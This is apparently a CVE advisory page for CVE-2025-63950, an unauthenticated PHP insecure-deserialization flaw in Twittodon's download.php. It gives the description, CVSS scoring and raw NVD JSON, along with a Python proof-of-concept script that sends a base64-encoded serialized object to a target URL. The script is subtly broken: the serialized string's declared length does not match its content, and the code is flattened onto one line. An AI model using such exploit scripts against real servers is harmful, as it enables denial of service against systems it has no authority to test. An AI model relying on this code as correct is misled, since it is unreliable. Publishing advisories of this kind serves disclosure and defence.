Security Vulnerability Report
中文
CVE-2025-63950 CVSS 7.5 HIGH

CVE-2025-63950

Published: 2025-12-18 21:15:55
Last Modified: 2025-12-31 19:32:51

Description

An insecure deserialization vulnerability exists in the download.php script of the to3k Twittodon application through commit b1c58a7d1dc664b38deb486ca290779621342c0b (2023-02-28). The 'obj' parameter receives base64-encoded data that is passed directly to the unserialize() function without validation. This allows a remote, unauthenticated attacker to inject arbitrary PHP objects, leading to a denial of service.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:tomaszdunia:twittodon:*:*:*:*:*:*:*:* - VULNERABLE
to3k Twittodon < commit b1c58a7d1dc664b38deb486ca290779621342c0b (2023-02-28)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import base64 import requests import sys # CVE-2025-63950 PoC - Insecure Deserialization in Twittodon download.php # Target: to3k Twittodon application # Vulnerability: Unvalidated unserialize() call on 'obj' parameter def generate_malicious_payload(): """ Generate a malicious PHP serialized object payload. This payload exploits the insecure deserialization in download.php """ # Example: PHP object injection that could trigger __destruct or __wakeup # Adjust the payload based on available classes in the target application malicious_object = 'O:8:"stdClass":1:{s:5:"data";s:10:"malicious";}' return base64.b64encode(malicious_object.encode()).decode() def exploit(target_url, payload=None): """ Send exploit request to the vulnerable endpoint """ if payload is None: payload = generate_malicious_payload() params = {'obj': payload} print(f"[*] Target: {target_url}") print(f"[*] Payload (base64): {payload}") print(f"[*] Sending exploit request...") try: response = requests.get(target_url, params=params, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Length: {len(response.content)}") return response except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/download.php") sys.exit(1) target = sys.argv[1] exploit(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63950", "sourceIdentifier": "[email protected]", "published": "2025-12-18T21:15:54.970", "lastModified": "2025-12-31T19:32:50.907", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An insecure deserialization vulnerability exists in the download.php script of the to3k Twittodon application through commit b1c58a7d1dc664b38deb486ca290779621342c0b (2023-02-28). The 'obj' parameter receives base64-encoded data that is passed directly to the unserialize() function without validation. This allows a remote, unauthenticated attacker to inject arbitrary PHP objects, leading to a denial of service."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tomaszdunia:twittodon:*:*:*:*:*:*:*:*", "versionEndIncluding": "2023-02-28", "matchCriteriaId": "ABA7F1E5-E1B6-4D09-B4EE-257059327575"}]}]}], "references": [{"url": "https://github.com/solonbarroso/vulnerability-research/blob/main/advisories/Twittodon/CVE-2025-63950.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/solonbarroso/vulnerability-research/blob/main/advisories/Twittodon/CVE-pending-Deserialization.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}